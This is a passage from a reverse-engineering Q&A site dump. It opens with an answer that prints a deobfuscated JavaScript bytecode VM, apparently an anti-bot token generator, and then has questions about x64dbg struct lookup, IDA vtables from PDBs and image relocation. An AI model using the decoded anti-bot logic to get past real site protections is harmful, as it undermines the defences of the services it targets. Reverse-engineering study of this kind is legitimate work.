&amp;gt;&amp;gt; 8 &amp;amp; 255, b &amp;amp; 255, c &amp;gt;&amp;gt;&amp;gt; 24, c &amp;gt;&amp;gt; 16 &amp;amp; 255, c &amp;gt;&amp;gt; 8 &amp;amp; 255, c &amp;amp; 255];&#xA;  } catch (e) {&#xA;    throw e;&#xA;  }&#xA;};&#xA;/**&#xA; * @param {!Object} item&#xA; * @param {!Object} val&#xA; * @return {?}&#xA; */&#xA;var N = function(item, val) {&#xA;  return val &amp;lt;= item.ca ? val == item.h || val == item.d || val == item.f || val == item.o ? item.n : val == item.P || val == item.H || val == item.I || val == item.k ? item.v : val == item.w ? item.i : 4 : [1, 2, 4, item.n, item.v, item.i][val % item.da];&#xA;};&#xA;/** @type {function(!Object, !Object, number, !Function): ?} */&#xA;var O = (E.prototype.la = function(results, expr) {&#xA;  expr.push(results[0] &amp;lt;&amp;lt; 24 | results[1] &amp;lt;&amp;lt; 16 | results[2] &amp;lt;&amp;lt; 8 | results[3]);&#xA;  expr.push(results[4] &amp;lt;&amp;lt; 24 | results[5] &amp;lt;&amp;lt; 16 | results[6] &amp;lt;&amp;lt; 8 | results[7]);&#xA;  expr.push(results[8] &amp;lt;&amp;lt; 24 | results[9] &amp;lt;&amp;lt; 16 | results[10] &amp;lt;&amp;lt; 8 | results[11]);&#xA;}, function(d, options, canCreateDiscussions, data) {&#xA;  options = {};&#xA;  options.N = d.a(L(d));&#xA;  options.O = L(d);&#xA;  /** @type {number} */&#xA;  canCreateDiscussions = L(d) - 1;&#xA;  data = L(d);&#xA;  options.self = d.a(data);&#xA;  /** @type {!Array} */&#xA;  options.C = [];&#xA;  for (; canCreateDiscussions--;) {&#xA;    data = L(d);&#xA;    options.C.push(d.a(data));&#xA;  }&#xA;  return options;&#xA;});&#xA;/** @type {function(!Object, ?, number, ?): ?} */&#xA;var Q = (E.prototype.ja = function(b, a, field, value) {&#xA;  if (3 == b.length) {&#xA;    /** @type {number} */&#xA;    field = 0;&#xA;    for (; 3 &amp;gt; field; field++) {&#xA;      a[field] += b[field];&#xA;    }&#xA;    /** @type {!Array} */&#xA;    value = [13, 8, 13, 12, 16, 5, 3, 10, 15];&#xA;    /** @type {number} */&#xA;    field = 0;&#xA;    for (; 9 &amp;gt; field; field++) {&#xA;      a[3](a, field % 3, value[field]);&#xA;    }&#xA;  }&#xA;}, function(d, e, i, canCreateDiscussions) {&#xA;  return i = d.a(d.b), d.e &amp;amp;&amp;amp; i &amp;lt; d.e.length ? (B(d, d.b, d.e.length), P(d, e)) : B(d, d.b, e), canCreateDiscussions = d.s(), B(d, d.b, i), canCreateDiscussions;&#xA;});&#xA;/** @type {function(number, number, !Array, number): ?} */&#xA;var H = (E.prototype.ka = function(b, sort, aVal, bVal) {&#xA;  bVal = b[(sort + 2) % 3];&#xA;  /** @type {number} */&#xA;  b[sort] = b[sort] - b[(sort + 1) % 3] - bVal ^ (1 == sort ? bVal &amp;lt;&amp;lt; aVal : bVal &amp;gt;&amp;gt;&amp;gt; aVal);&#xA;}, function(bitmask, k, options, n) {&#xA;  /** @type {number} */&#xA;  n = k - 1;&#xA;  /** @type {!Array} */&#xA;  options = [];&#xA;  for (; 0 &amp;lt;= n; n--) {&#xA;    /** @type {number} */&#xA;    options[k - 1 - n] = bitmask &amp;gt;&amp;gt; 8 * n &amp;amp; 255;&#xA;  }&#xA;  return options;&#xA;});&#xA;/**&#xA; * @param {!Array} b&#xA; * @param {!Function} o&#xA; * @param {!Function} s&#xA; * @return {?}&#xA; */&#xA;var M = function(b, o, s) {&#xA;  return o = function() {&#xA;    return s();&#xA;  }, o.V = function(instance) {&#xA;    /** @type {!Array} */&#xA;    b = instance;&#xA;  }, s = function() {&#xA;    return b;&#xA;  }, o;&#xA;};&#xA;/**&#xA; * @param {!Object} a&#xA; * @param {?} b&#xA; * @param {?} X&#xA; * @param {boolean} n&#xA; * @return {?}&#xA; */&#xA;var R = function(a, b, X, n) {&#xA;  return function() {&#xA;    if (!n || a.q) {&#xA;      return B(a, a.P, arguments), B(a, a.k, X), Q(a, b);&#xA;    }&#xA;  };&#xA;};&#xA;/** @type {function(!Object, ?): undefined} */&#xA;var P = (E.prototype.a = function(type, n) {&#xA;  if (n = this.c[type], n === k) {&#xA;    throw this.g(this.ea, 0, type), this.u;&#xA;  }&#xA;  return n();&#xA;}, function(o, e) {&#xA;  o.K.push(o.c.slice());&#xA;  o.c[o.b] = k;&#xA;  B(o, o.b, e);&#xA;});&#xA;/**&#xA; * @param {!NodeList} a&#xA; * @param {number} p&#xA; * @return {?}&#xA; */&#xA;var J = function(a, p) {&#xA;  return a[p] &amp;lt;&amp;lt; 24 | a[p + 1] &amp;lt;&amp;lt; 16 | a[p + 2] &amp;lt;&amp;lt; 8 | a[p + 3];&#xA;};&#xA;/**&#xA; * @param {number} name&#xA; * @param {!Array} left&#xA; * @return {?}&#xA; */&#xA;var C = function(name, left) {&#xA;  /** @type {!Array} */&#xA;  left = Array(name);&#xA;  for (; name--;) {&#xA;    /** @type {number} */&#xA;    left[name] = 255 * Math.random() | 0;&#xA;  }&#xA;  return left;&#xA;};&#xA;/**&#xA; * @param {!Object} a&#xA; * @param {!Error} b&#xA; * @return {undefined}&#xA; */&#xA;var D = function(a, b) {&#xA;  /** @type {string} */&#xA;  a.m = (&quot;E:&quot; + b.message + &quot;:&quot; + b.stack).slice(0, 2048);&#xA;};&#xA;z = E.prototype;&#xA;/** @type {!Array} */&#xA;z.M = [function() {&#xA;}, function(x, a, y, value, p) {&#xA;  a = L(x);&#xA;  y = L(x);&#xA;  value = x.a(a);&#xA;  a = N(x, a);&#xA;  p = N(x, y);&#xA;  if (p == x.i || p == x.n) {&#xA;    /** @type {string} */&#xA;    value = &quot;&quot; + value;&#xA;  } else {&#xA;    if (0 &amp;lt; a) {&#xA;      if (1 == a) {&#xA;        /** @type {number} */&#xA;        value = value &amp;amp; 255;&#xA;      } else {&#xA;        if (2 == a) {&#xA;          /** @type {number} */&#xA;          value = value &amp;amp; 65535;&#xA;        } else {&#xA;          if (4 == a) {&#xA;            /** @type {number} */&#xA;            value = value &amp;amp; 4294967295;&#xA;          }&#xA;        }&#xA;      }&#xA;    }&#xA;  }&#xA;  B(x, y, value);&#xA;}, function(d, e, x, s, i, j, c, a, shotsGroup) {&#xA;  if (e = L(d), x = N(d, e), 0 &amp;lt; x) {&#xA;    /** @type {number} */&#xA;    s = 0;&#xA;    for (; x--;) {&#xA;      /** @type {number} */&#xA;      s = s &amp;lt;&amp;lt; 8 | L(d);&#xA;    }&#xA;    B(d, e, s);&#xA;  } else {&#xA;    if (x != d.v) {&#xA;      if (s = L(d) &amp;lt;&amp;lt; 8 | L(d), x == d.i) {&#xA;        if (x = &quot;&quot;, d.c[d.w] != k) {&#xA;          i = d.a(d.w);&#xA;          for (; s--;) {&#xA;            j = i[L(d) &amp;lt;&amp;lt; 8 | L(d)];&#xA;            /** @type {string} */&#xA;            x = x + j;&#xA;          }&#xA;        } else {&#xA;          /** @type {!Array} */&#xA;          x = Array(s);&#xA;          /** @type {number} */&#xA;          i = 0;&#xA;          for (; i &amp;lt; s; i++) {&#xA;            x[i] = L(d);&#xA;          }&#xA;          /** @type {string} */&#xA;          s = x;&#xA;          /** @type {!Array} */&#xA;          x = [];&#xA;          /** @type {number} */&#xA;          j = i = 0;&#xA;          for (; i &amp;lt; s.length;) {&#xA;            c = s[i++];&#xA;            if (128 &amp;gt; c) {&#xA;              /** @type {string} */&#xA;              x[j++] = String.fromCharCode(c);&#xA;            } else {&#xA;              if (191 &amp;lt; c &amp;amp;&amp;amp; 224 &amp;gt; c) {&#xA;                a = s[i++];&#xA;                /** @type {string} */&#xA;                x[j++] = String.fromCharCode((c &amp;amp; 31) &amp;lt;&amp;lt; 6 | a &amp;amp; 63);&#xA;              } else {&#xA;                a = s[i++];&#xA;                shotsGroup = s[i++];&#xA;                /** @type {string} */&#xA;                x[j++] = String.fromCharCode((c &amp;amp; 15) &amp;lt;&amp;lt; 12 | (a &amp;amp; 63) &amp;lt;&amp;lt; 6 | shotsGroup &amp;amp; 63);&#xA;              }&#xA;            }&#xA;          }&#xA;          /** @type {string} */&#xA;          x = x.join(&quot;&quot;);&#xA;        }&#xA;      } else {&#xA;        /** @type {!Array} */&#xA;        x = Array(s);&#xA;        /** @type {number} */&#xA;        i = 0;&#xA;        for (; i &amp;lt; s; i++) {&#xA;          x[i] = L(d);&#xA;        }&#xA;      }&#xA;      B(d, e, x);&#xA;    }&#xA;  }&#xA;}, function(message) {&#xA;  L(message);&#xA;}, function(args, message, msg, selector) {&#xA;  message = L(args);&#xA;  msg = L(args);&#xA;  selector = L(args);&#xA;  msg = args.a(msg);&#xA;  message = args.a(message);&#xA;  B(args, selector, message[msg]);&#xA;}, function(a, b, c) {&#xA;  b = L(a);&#xA;  c = L(a);&#xA;  b = a.a(b);&#xA;  B(a, c, f(b));&#xA;}, function(a, x, i, c, d) {&#xA;  x = L(a);&#xA;  i = L(a);&#xA;  c = N(a, x);&#xA;  d = N(a, i);&#xA;  if (i != a.h) {&#xA;    if (c == a.i &amp;amp;&amp;amp; d == a.i) {&#xA;      if (a.c[i] == k) {&#xA;        B(a, i, &quot;&quot;);&#xA;      }&#xA;      B(a, i, a.a(i) + a.a(x));&#xA;    } else {&#xA;      if (d == a.n) {&#xA;        if (0 &amp;gt; c) {&#xA;          x = a.a(x);&#xA;          if (c == a.i) {&#xA;            x = F(&quot;&quot; + x);&#xA;          }&#xA;          if (!(i != a.d &amp;amp;&amp;amp; i != a.f &amp;amp;&amp;amp; i != a.o)) {&#xA;            G(a, i, H(x.length, 2));&#xA;          }&#xA;          G(a, i, x);&#xA;        } else {&#xA;          if (0 &amp;lt; c) {&#xA;            G(a, i, H(a.a(x), c));&#xA;          }&#xA;        }&#xA;      }&#xA;    }&#xA;  }&#xA;}, function(a$jscomp$32, b$jscomp$31, c$jscomp$23) {&#xA;  b$jscomp$31 = L(a$jscomp$32);&#xA;  c$jscomp$23 = L(a$jscomp$32);&#xA;  B(a$jscomp$32, c$jscomp$23, function(a$jscomp$33) {&#xA;    return eval(a$jscomp$33);&#xA;  }(a$jscomp$32.a(b$jscomp$31)));&#xA;}, function(a, link, c) {&#xA;  link = L(a);&#xA;  c = L(a);&#xA;  B(a, c, a.a(c) - a.a(link));&#xA;}, function(b, options) {&#xA;  options = O(b);&#xA;  B(b, options.O, options.N.apply(options.self, options.C));&#xA;}, function(x, s, y) {&#xA;  s = L(x);&#xA;  y = L(x);&#xA;  B(x, y, x.a(y) % x.a(s));&#xA;}, function(x, s, stdEvent, a, c) {&#xA;  s = L(x);&#xA;  stdEvent = x.a(L(x));&#xA;  a = x.a(L(x));&#xA;  c = x.a(L(x));&#xA;  x.a(s).addEventListener(stdEvent, R(x, a, c, true), false);&#xA;}, function(a, link, s, type) {&#xA;  link = L(a);&#xA;  s = L(a);&#xA;  type = L(a);&#xA;  a.a(link)[a.a(s)] = a.a(type);&#xA;}, function() {&#xA;}, function(x, s, a) {&#xA;  s = L(x);&#xA;  a = L(x);&#xA;  B(x, a, x.a(a) + x.a(s));&#xA;}, function(a, link, b) {&#xA;  link = L(a);&#xA;  b = L(a);&#xA;  if (0 != a.a(link)) {&#xA;    B(a, a.b, a.a(b));&#xA;  }&#xA;}, function(a, s, link, c) {&#xA;  s = L(a);&#xA;  link = L(a);&#xA;  c = L(a);&#xA;  if (a.a(s) == a.a(link)) {&#xA;    B(a, c, a.a(c) + 1);&#xA;  }&#xA;}, function(a, link, s, c) {&#xA;  link = L(a);&#xA;  s = L(a);&#xA;  c = L(a);&#xA;  if (a.a(link) &amp;gt; a.a(s)) {&#xA;    B(a, c, a.a(c) + 1);&#xA;  }&#xA;}, function(args, message, msg, selector) {&#xA;  message = L(args);&#xA;  msg = L(args);&#xA;  selector = L(args);&#xA;  B(args, selector, args.a(message) &amp;lt;&amp;lt; msg);&#xA;}, function(a, link, s, c) {&#xA;  link = L(a);&#xA;  s = L(a);&#xA;  c = L(a);&#xA;  B(a, c, a.a(link) | a.a(s));&#xA;}, function(d, e) {&#xA;  e = d.a(L(d));&#xA;  P(d, e);&#xA;}, function(t, comments, title, i) {&#xA;  if (comments = t.K.pop()) {&#xA;    title = L(t);&#xA;    for (; 0 &amp;lt; title; title--) {&#xA;      i = L(t);&#xA;      comments[i] = t.c[i];&#xA;    }&#xA;    /** @type {string} */&#xA;    t.c = comments;&#xA;  } else {&#xA;    B(t, t.b, t.e.length);&#xA;  }&#xA;}, function(a, link, s, c) {&#xA;  link = L(a);&#xA;  s = L(a);&#xA;  c = L(a);&#xA;  B(a, c, (a.a(link) in a.a(s)) + 0);&#xA;}, function(x, y, a, T) {&#xA;  y = L(x);&#xA;  a = x.a(L(x));&#xA;  T = x.a(L(x));&#xA;  B(x, y, R(x, a, T));&#xA;}, function(a, link, c) {&#xA;  link = L(a);&#xA;  c = L(a);&#xA;  B(a, c, a.a(c) * a.a(link));&#xA;}, function(args, message, msg, selector) {&#xA;  message = L(args);&#xA;  msg = L(args);&#xA;  selector = L(args);&#xA;  B(args, selector, args.a(message) &amp;gt;&amp;gt; msg);&#xA;}, function(a, type, n, c) {&#xA;  type = L(a);&#xA;  n = L(a);&#xA;  c = L(a);&#xA;  B(a, c, a.a(type) || a.a(n));&#xA;}, function(a, options, args, fn_obj, dir) {&#xA;  options = O(a);&#xA;  args = options.C;&#xA;  fn_obj = options.self;&#xA;  dir = options.N;&#xA;  switch(args.length) {&#xA;    case 0:&#xA;      args = new fn_obj[dir];&#xA;      break;&#xA;    case 1:&#xA;      args = new fn_obj[dir](args[0]);&#xA;      break;&#xA;    case 2:&#xA;      args = new fn_obj[dir](args[0], args[1]);&#xA;      break;&#xA;    case 3:&#xA;      args = new fn_obj[dir](args[0], args[1], args[2]);&#xA;      break;&#xA;    case 4:&#xA;      args = new fn_obj[dir](args[0], args[1], args[2], args[3]);&#xA;      break;&#xA;    default:&#xA;      a.g(a.A);&#xA;      return;&#xA;  }&#xA;  B(a, options.O, args);&#xA;}, function(c, t, n, i, s, size) {&#xA;  if (t = L(c), n = L(c), i = L(c), s = L(c), t = c.a(t), n = c.a(n), i = c.a(i), c = c.a(s), &quot;object&quot; == f(t)) {&#xA;    for (size in s = [], t) {&#xA;      s.push(size);&#xA;    }&#xA;    /** @type {number} */&#xA;    t = s;&#xA;  }&#xA;  size = t.length;&#xA;  /** @type {number} */&#xA;  s = 0;&#xA;  for (; s &amp;lt; size; s = s + i) {&#xA;    n(t.slice(s, s + i), c);&#xA;  }&#xA;}];&#xA;/** @type {number} */&#xA;z.b = 0;&#xA;/** @type {number} */&#xA;z.p = 1;&#xA;/** @type {number} */&#xA;z.h = 2;&#xA;/** @type {number} */&#xA;z.l = 3;&#xA;/** @type {number} */&#xA;z.d = 4;&#xA;/** @type {number} */&#xA;z.w = 5;&#xA;/** @type {number} */&#xA;z.P = 6;&#xA;/** @type {number} */&#xA;z.L = 8;&#xA;/** @type {number} */&#xA;z.H = 9;&#xA;/** @type {number} */&#xA;z.I = 10;&#xA;/** @type {number} */&#xA;z.r = 11;&#xA;/** @type {number} */&#xA;z.F = 12;&#xA;/** @type {number} */&#xA;z.G = 13;&#xA;/** @type {number} */&#xA;z.f = 14;&#xA;/** @type {number} */&#xA;z.o = 15;&#xA;/** @type {number} */&#xA;z.k = 16;&#xA;/** @type {number} */&#xA;z.ca = 17;&#xA;/** @type {number} */&#xA;z.R = 253;&#xA;/** @type {number} */&#xA;z.$ = 254;&#xA;/** @type {number} */&#xA;z.S = 248;&#xA;/** @type {number} */&#xA;z.T = 216;&#xA;/** @type {number} */&#xA;z.da = 6;&#xA;/** @type {number} */&#xA;z.i = -1;&#xA;/** @type {number} */&#xA;z.n = -2;&#xA;/** @type {number} */&#xA;z.v = -3;&#xA;/** @type {number} */&#xA;z.U = 17;&#xA;/** @type {number} */&#xA;z.W = 21;&#xA;/** @type {number} */&#xA;z.A = 22;&#xA;/** @type {number} */&#xA;z.ea = 30;&#xA;/** @type {number} */&#xA;z.Y = 31;&#xA;/** @type {number} */&#xA;z.X = 33;&#xA;z.u = {};&#xA;/** @type {string} */&#xA;z.D = &quot;caller&quot;;&#xA;/** @type {string} */&#xA;z.J = &quot;toString&quot;;&#xA;/** @type {number} */&#xA;z.ga = 34;&#xA;/** @type {number} */&#xA;z.fa = 36;&#xA;E.prototype.ia = function(ref) {&#xA;  return (ref = window.performance) &amp;amp;&amp;amp; ref.now ? function() {&#xA;    return ref.now() | 0;&#xA;  } : function() {&#xA;    return +new Date;&#xA;  };&#xA;}();&#xA;/**&#xA; * @param {number} target&#xA; * @param {number} pos&#xA; * @param {number} len&#xA; * @param {number} value&#xA; * @param {number} i&#xA; * @param {number} b&#xA; * @param {!Array} m&#xA; * @param {number} e&#xA; * @param {string} t&#xA; * @param {string} x&#xA; * @param {string} n&#xA; * @return {?}&#xA; */&#xA;E.prototype.Q = function(target, pos, len, value, i, b, m, e, t, x, n) {&#xA;  if (this.m) {&#xA;    return this.m;&#xA;  }&#xA;  try {&#xA;    if (this.q = false, pos = this.a(this.d).length, len = this.a(this.f).length, value = this.j, this.c[this.L] &amp;amp;&amp;amp; Q(this, this.a(this.L)), i = this.a(this.h), 0 &amp;lt; i.length &amp;amp;&amp;amp; G(this, this.d, H(i.length, 2).concat(i), this.R), b = this.a(this.F) &amp;amp; 255, b = b - (this.a(this.d).length + 4), m = this.a(this.f), 4 &amp;lt; m.length &amp;amp;&amp;amp; (b = b - (m.length + 3)), 0 &amp;lt; b &amp;amp;&amp;amp; G(this, this.d, H(b, 2).concat(C(b)), this.S), 4 &amp;lt; m.length &amp;amp;&amp;amp; G(this, this.d, H(m.length, 2).concat(m), this.T), e = [241].concat(this.a(this.d)), &#xA;    window.btoa ? (x = window.btoa(String.fromCharCode.apply(null, e)), t = x.replace(/\\+/g, &quot;-&quot;).replace(/\\/ / g, &quot;_&quot;).replace(/=/g, &quot;&quot;)) : t = k, t) {&#xA;      /** @type {string} */&#xA;      t = &quot;,&quot; + t;&#xA;    } else {&#xA;      /** @type {string} */&#xA;      t = &quot;&quot;;&#xA;      /** @type {number} */&#xA;      i = 0;&#xA;      for (; i &amp;lt; e.length; i++) {&#xA;        n = e[i][this.J](16);&#xA;        if (1 == n.length) {&#xA;          /** @type {string} */&#xA;          n = &quot;0&quot; + n;&#xA;        }&#xA;        /** @type {string} */&#xA;        t = t + n;&#xA;      }&#xA;    }&#xA;    /** @type {number} */&#xA;    this.a(this.d).length = pos;&#xA;    /** @type {number} */&#xA;    this.a(this.f).length = len;&#xA;    /** @type {number} */&#xA;    this.j = value;&#xA;    /** @type {boolean} */&#xA;    this.q = true;&#xA;    /** @type {string} */&#xA;    target = t;&#xA;  } catch (item) {&#xA;    D(this, item);&#xA;    target = this.m;&#xA;  }&#xA;  return target;&#xA;};&#xA;/**&#xA; * @param {number} y&#xA; * @param {number} r&#xA; * @param {undefined} n&#xA; * @param {number} len&#xA; * @param {string} msg&#xA; * @param {!Function} selector&#xA; * @return {?}&#xA; */&#xA;E.prototype.s = function(y, r, n, len, msg, selector) {&#xA;  try {&#xA;    y = this.e.length;&#xA;    /** @type {number} */&#xA;    r = 2001;&#xA;    n = k;&#xA;    /** @type {number} */&#xA;    len = 0;&#xA;    for (; --r &amp;amp;&amp;amp; (len = this.a(this.b)) &amp;lt; y;) {&#xA;      try {&#xA;        B(this, this.l, len);&#xA;        /** @type {number} */&#xA;        msg = L(this) % this.M.length;&#xA;        if (n = this.M[msg]) {&#xA;          n(this);&#xA;        } else {&#xA;          this.g(this.W, 0, msg);&#xA;        }&#xA;      } catch (b) {&#xA;        if (b != this.u) {&#xA;          if (selector = this.a(this.r)) {&#xA;            B(this, selector, b);&#xA;            B(this, this.r, 0);&#xA;          } else {&#xA;            this.g(this.A, b);&#xA;          }&#xA;        }&#xA;      }&#xA;    }&#xA;    if (!r) {&#xA;      this.g(this.X);&#xA;    }&#xA;  } catch (b) {&#xA;    try {&#xA;      this.g(this.A, b);&#xA;    } catch (item) {&#xA;      D(this, item);&#xA;    }&#xA;  }&#xA;  return this.a(this.k);&#xA;};&#xA;/**&#xA; * @param {?} callback&#xA; * @param {?} error&#xA; * @return {?}&#xA; */&#xA;E.prototype.ha = function(callback, error) {&#xA;  return error = this.Q(), callback &amp;amp;&amp;amp; callback(error), error;&#xA;};&#xA;try {&#xA;  window.addEventListener(&quot;unload&quot;, function() {&#xA;  }, false);&#xA;} catch (S) {&#xA;}&#xA;n(&quot;thintinel.th&quot;, E);&#xA;n(&quot;thintinel.th.prototype.exec&quot;, E.prototype.ha);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or you can use an open source &lt;code&gt;unuglify&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="22669" LastActivityDate="2018-12-04T19:18:46.953" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20055" PostTypeId="1" AcceptedAnswerId="20126" CreationDate="2018-12-05T17:17:02.410" Score="1" ViewCount="554" Body="&lt;p&gt;I need to locate an specific &quot;struct&quot; variable in the data section from an assembly. This structure is used for an specific System Function (Windows) &quot;SetCommState()&quot;. I'm wondering how to locate the static data structure that are passed as argument to the function call. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm ussing x64dbg for the disassembly and have the posibility to use snowman also. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The specific &quot;struct&quot; is the one defined &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/desktop/devio/configuring-a-communications-resource&quot; rel=&quot;nofollow noreferrer&quot;&gt;here (DCB used for serial ports configuration)&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="26628" LastEditorUserId="26628" LastEditDate="2018-12-13T15:36:47.000" LastActivityDate="2022-02-06T11:57:08.450" Title="How to locate an specific data structure in an executable?" Tags="|x86|x64dbg|x86-64|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="20056" PostTypeId="1" AcceptedAnswerId="20059" CreationDate="2018-12-05T18:05:13.940" Score="3" ViewCount="1606" Body="&lt;p&gt;I'm decompiling a MFC 4.0 application, and now loaded the &lt;code&gt;MFCS42.PDB&lt;/code&gt; from the MFC 4.2 source into IDA 7.0 (not having the MFC 4.0 source) to make it create the appropriate structs representing the many MFC classes and virtual function tables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, IDA seems to only create &lt;code&gt;*Vtbl&lt;/code&gt; structs for the very base classes, like &lt;code&gt;CObject&lt;/code&gt;, not for child classes like &lt;code&gt;CCmdTarget&lt;/code&gt;, which looks as follows:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;struct CObjectVtbl // totally correct&#xA;{&#xA;    CRuntimeClass *(__thiscall *GetRuntimeClass)(CObject *this);&#xA;    void (__thiscall *~CObject)(CObject *this);&#xA;    void (__thiscall *Serialize)(CObject *this, CArchive *);&#xA;    void (__thiscall *AssertValid)(CObject *this);&#xA;    void (__thiscall *Dump)(CObject *this, CDumpContext *);&#xA;};&#xA;struct __cppobj CObject // totally correct&#xA;{&#xA;    CObjectVtbl *vfptr;&#xA;};&#xA;&#xA;struct __cppobj CCmdTarget : CObject // wrong, makes it have only a CObject vftable&#xA;{&#xA;    int m_dwRef;&#xA;    IUnknown *m_pOuterUnknown;&#xA;    unsigned int m_xInnerUnknown;&#xA;    CCmdTarget::XDispatch m_xDispatch;&#xA;    int m_bResultExpected;&#xA;    CCmdTarget::XConnPtContainer m_xConnPtContainer;&#xA;    AFX_MODULE_STATE *m_pModuleState;&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In effect, this results in missing new virtual functions of &lt;code&gt;CCmdTarget&lt;/code&gt;, as it only references the &lt;code&gt;CObjectVtbl&lt;/code&gt; by inheriting from &lt;code&gt;CObject&lt;/code&gt;, but &lt;code&gt;CCmdTarget&lt;/code&gt; has 7 more methods.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I previously hand-crafted these structures (which is tedious as you can guess), and it should actually look more like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// CObject and CObjectVtbl same as above&#xA;&#xA;struct CCmdTargetVtbl : CObjectVtbl // inherit to keep base methods&#xA;{&#xA;    BOOL (__thiscall *OnCmdMsg)(CCmdTarget *this, UINT nID, int nCode, void *pExtra, void *pHandlerInfo);&#xA;    void (__thiscall *OnFinalRelease)(CCmdTarget *this);&#xA;    AFX_MSGMAP *(__thiscall *GetMessageMap)(CCmdTarget *this);&#xA;    int field_20; // Don't know names yet&#xA;    int field_24;&#xA;    int field_28;&#xA;    int field_2C;&#xA;};&#xA;struct CCmdTargetMembers // member struct to reuse it in child classes&#xA;{&#xA;    int m_dwRef;&#xA;    IUnknown *m_pOuterUnknown;&#xA;    unsigned int m_xInnerUnknown;&#xA;    CCmdTarget::XDispatch m_xDispatch;&#xA;    int m_bResultExpected;&#xA;    CCmdTarget::XConnPtContainer m_xConnPtContainer;&#xA;    AFX_MODULE_STATE *m_pModuleState;&#xA;};&#xA;struct CCmdTarget&#xA;{&#xA;    CCmdTargetVtbl *vfptr;&#xA;    CCmdTargetMembers members;&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Only this way, accessing virtual functions on child classes makes sense as their vftables are known. A sample hexrays decompilation shows that it does not make much sense with only the base vftables available:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Decompilation with child vftables:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)&#xA;{&#xA;    int nReturnCode; // esi MAPDST&#xA;    CWinApp *pWinApp; // edi&#xA;    CWinThreadVtbl *pThread; // ebx&#xA;&#xA;    nReturnCode = -1;&#xA;    pWinApp = (CWinApp *)CBumperApp::instance;&#xA;    if ( AfxWinInit(hInstance, hPrevInstance, lpCmdLine, nShowCmd) )&#xA;    {&#xA;        pThread = &amp;amp;pWinApp-&amp;gt;vftable-&amp;gt;CWinThread;&#xA;        if ( pWinApp-&amp;gt;vftable-&amp;gt;InitApplication(pWinApp) )&#xA;        {&#xA;            if ( pThread-&amp;gt;InitInstance((CWinThread *)pWinApp) )&#xA;            {&#xA;                nReturnCode = pThread-&amp;gt;Run((CWinThread *)pWinApp);&#xA;            }&#xA;[...]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Decompilation without child vftables:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)&#xA;{&#xA;    int nReturnCode; // esi MAPDST&#xA;    CWinApp *pWinApp; // edi&#xA;    CObjectVtbl *pThread; // ebx&#xA;&#xA;    nReturnCode = -1;&#xA;    pWinApp = CBumperApp::instance;&#xA;    if ( AfxWinInit(hInstance, hPrevInstance, lpCmdLine, nShowCmd) )&#xA;    {&#xA;        pThread = pWinApp-&amp;gt;vfptr;&#xA;        if ( pWinApp-&amp;gt;vfptr[5].GetRuntimeClass(pWinApp) ) // nonsense&#xA;        {&#xA;            if ( (pThread[2].Serialize)(pWinApp) ) // nonsense&#xA;            {&#xA;                nReturnCode = (pThread[2].AssertValid)(pWinApp); // nonsense&#xA;            }&#xA;[...]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there any way to get IDA to load the vftables for child classes from the PDB and create all required structs? Or is this not yet possible in IDA 7.0?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To my knowledge, the PDB should have that info. Is there a tool to look into the PDB file to see if it indeed has this info?&lt;/p&gt;&#xA;" OwnerUserId="6957" LastEditorUserId="6957" LastEditDate="2018-12-06T07:56:36.517" LastActivityDate="2018-12-06T07:56:36.517" Title="IDA does not create Vtbl structs for child classes loaded from PDB" Tags="|ida|virtual-functions|pdb|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20057" PostTypeId="1" AcceptedAnswerId="20058" CreationDate="2018-12-05T18:43:31.097" Score="2" ViewCount="368" Body="&lt;p&gt;While debugging and reverse-engineering my exe, I have found a very weird thing.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;call ds:GetModuleFileNameA&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This call instruction is formed with below hex bytes in IDA.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;FF 15 24 C0 41 00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(I think that 0x41C024 means the index of Import Table)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I looked this call instruction while debugging it looks as follow.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;FF 15 24 C0 1A 00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Of course, image base is changed 190000 from 400000)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But what I don't understand is how OS (I use win10) automatically changed all offsets in code area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anybody explain?&lt;/p&gt;&#xA;" OwnerUserId="25369" LastEditorUserId="25171" LastEditDate="2018-12-10T13:47:43.057" LastActivityDate="2018-12-10T13:47:43.057" Title="Call instruction changed while running" Tags="|assembly|x86|c++|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 